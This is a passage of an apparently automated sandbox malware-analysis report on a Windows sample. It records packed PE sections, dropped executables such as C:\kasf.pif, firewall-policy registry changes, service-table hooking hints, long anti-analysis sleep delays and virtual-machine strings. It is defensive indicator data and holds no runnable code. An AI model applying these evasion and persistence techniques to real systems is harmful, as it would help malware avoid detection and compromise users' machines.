      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 35_2_003A1489 push ebp; ret 35_2_003A148A
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeCode function: 35_2_003A044E push edi; retf 35_2_003A044F
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00535236 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00535236
      Source: pXlV6TKi3E.exeStatic PE information: section name: 0sp0
      Source: pXlV6TKi3E.exeStatic PE information: section name: 1sp1
      Source: pXlV6TKi3E.exeStatic PE information: section name: 2sp2
      Source: pXlV6TKi3E.exeStatic PE information: section name: 3ext
      Source: pXlV6TKi3E.exeStatic PE information: section name: 4data
      Source: pXlV6TKi3E.exeStatic PE information: section name: 5ata
      Source: pXlV6TKi3E.exe.0.drStatic PE information: section name: 0sp0
      Source: pXlV6TKi3E.exe.0.drStatic PE information: section name: 1sp1
      Source: pXlV6TKi3E.exe.0.drStatic PE information: section name: 2sp2
      Source: pXlV6TKi3E.exe.0.drStatic PE information: section name: 3ext
      Source: pXlV6TKi3E.exe.0.drStatic PE information: section name: 4data
      Source: pXlV6TKi3E.exe.0.drStatic PE information: section name: 5ata
      Source: pXlV6TKi3E.exe0.0.drStatic PE information: section name: 0sp0
      Source: pXlV6TKi3E.exe0.0.drStatic PE information: section name: 1sp1
      Source: pXlV6TKi3E.exe0.0.drStatic PE information: section name: 2sp2
      Source: pXlV6TKi3E.exe0.0.drStatic PE information: section name: 3ext
      Source: pXlV6TKi3E.exe0.0.drStatic PE information: section name: 4data
      Source: pXlV6TKi3E.exe0.0.drStatic PE information: section name: 5ata
      Source: initial sampleStatic PE information: section where entry point is pointing to: 3ext
      Source: initial sampleStatic PE information: section name: 1sp1 entropy: 7.898762175426289
      Source: initial sampleStatic PE information: section name: 3ext entropy: 7.89543273451379
      Source: initial sampleStatic PE information: section name: 5ata entropy: 7.99652022650851
      Source: initial sampleStatic PE information: section name: .text entropy: 7.988313596108673
      Source: initial sampleStatic PE information: section name: 1sp1 entropy: 7.898762175426289
      Source: initial sampleStatic PE information: section name: 3ext entropy: 7.897964078811776
      Source: initial sampleStatic PE information: section name: 5ata entropy: 7.973677623690392
      Source: initial sampleStatic PE information: section name: 1sp1 entropy: 7.898762175426289
      Source: initial sampleStatic PE information: section name: 3ext entropy: 7.897964078811776
      Source: initial sampleStatic PE information: section name: 5ata entropy: 7.973677623690392
      Source: initial sampleStatic PE information: section name: .text entropy: 7.988313596108673

      Persistence and Installation Behavior

      barindex
      Drops PE files with a suspicious file extension
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile created: C:\kasf.pifJump to dropped file
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile created: C:\Users\user\AppData\Local\Temp\winrhlyw.exeJump to dropped file
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile created: C:\Users\user\AppData\Local\Temp\0045C842_Rar\pXlV6TKi3E.exeJump to dropped file
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile created: C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exeJump to dropped file
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile created: C:\kasf.pifJump to dropped file
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileJump to behavior

      Hooking and other Techniques for Hiding and Protection

      barindex
      May modify the system service descriptor table (often done to hook functions)
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: KeServiceDescriptorTable
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00401590 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,0_2_00401590
      Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeKey value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\CloudStore\Store\Cache\DefaultAccount\$de${3292dee6-ca92-481c-872a-88aa4c48ff80}$$windows.data.unifiedtile.localstarttilepropertiesmap\Current DataJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00529380 GetModuleHandleA,RaiseException,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,RaiseException,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,RaiseException,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RaiseException,0_2_00529380
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5160Thread sleep time: -120000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5128Thread sleep time: -180000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 2240Thread sleep count: 33 > 30Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5140Thread sleep time: -80000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 588Thread sleep time: -300000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6940Thread sleep time: -40000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6488Thread sleep time: -30720s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6940Thread sleep count: 37 > 30Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6940Thread sleep time: -13320000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6936Thread sleep count: 45 > 30Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6936Thread sleep time: -315000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6936Thread sleep time: -40000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5148Thread sleep time: -143360s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5024Thread sleep count: 43 > 30Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5024Thread sleep time: -430000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5144Thread sleep time: -23400000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5128Thread sleep time: -8400000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 5068Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exe TID: 6956Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Windows\System32\dwm.exe TID: 1060Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Windows\System32\dwm.exe TID: 1060Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 644Thread sleep count: 259 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 644Thread sleep time: -2590000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 5040Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 636Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4800Thread sleep count: 251 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4800Thread sleep time: -2510000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 1672Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 6432Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4996Thread sleep count: 246 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4996Thread sleep time: -2460000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4976Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 3232Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4988Thread sleep count: 236 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4988Thread sleep time: -2360000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4984Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4956Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 1952Thread sleep count: 234 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 1952Thread sleep time: -2340000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 1840Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 3388Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 1832Thread sleep count: 228 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 1832Thread sleep time: -2280000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 1556Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4972Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 2008Thread sleep count: 224 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 2008Thread sleep time: -2240000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4696Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 2148Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4932Thread sleep count: 220 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4932Thread sleep time: -2200000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4936Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4928Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4916Thread sleep count: 215 > 30Jump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4916Thread sleep time: -2150000s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4920Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe TID: 4924Thread sleep time: -922337203685477s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-12750
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeLast function: Thread delayed
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 300000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 360000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 900000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 2100000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 874Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeDropped PE file which has not been started: C:\kasf.pifJump to dropped file
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 120000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 300000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 360000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 900000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 2100000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeAPI call chain: ExitProcess graph end nodegraph_0-13369
      Source: SearchUI.exe, 00000014.00000000.412857073.000001CDF09ED000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|hyper-v manager*|hyper v4225
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware horizon client*|view2527!App
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.567753616.00000170BD992000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.307732504.00000170BD993000.00000004.00000001.00020000.00000000.sdmp, SearchUI.exe, 00000014.00000002.600463712.000001C5DAF18000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: pXlV6TKi3E.exe, 00000000.00000003.298285062.00000000007EB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}*
      Source: SearchUI.exe, 00000014.00000000.402099422.000001CDDD7E0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmwareamd64t
      Source: explorer.exe, 00000011.00000000.323967926.00000000090D8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware vsphere client*|vp5534Draw10477
      Source: explorer.exe, 00000011.00000000.323967926.00000000090D8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i,
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000005FD0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW,
      Source: explorer.exe, 00000011.00000003.477059049.000000000509E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9'
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|windows defender*|open windows defender8159*|windows defender*|run windows defender9025*|vmware vsphere client*|vcenter5892p10716
      Source: dwm.exe, 00000003.00000000.263608000.000002740FC00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000~4&\'
      Source: svchost.exe, 0000000C.00000000.303216444.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.546416495.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware horizon client*|view2527
      Source: SearchUI.exe, 00000014.00000000.384616433.000001C5DACB9000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@`
      Source: svchost.exe, 0000000F.00000000.307732504.00000170BD989000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Hyper-V RAW
      Source: explorer.exe, 00000011.00000000.323967926.00000000090D8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}z,
      Source: dllhost.exe, 00000012.00000000.346909575.000002D6690DC000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
      Source: SearchUI.exe, 00000014.00000000.412857073.000001CDF09ED000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|hyper-v manager*|hyperv3631
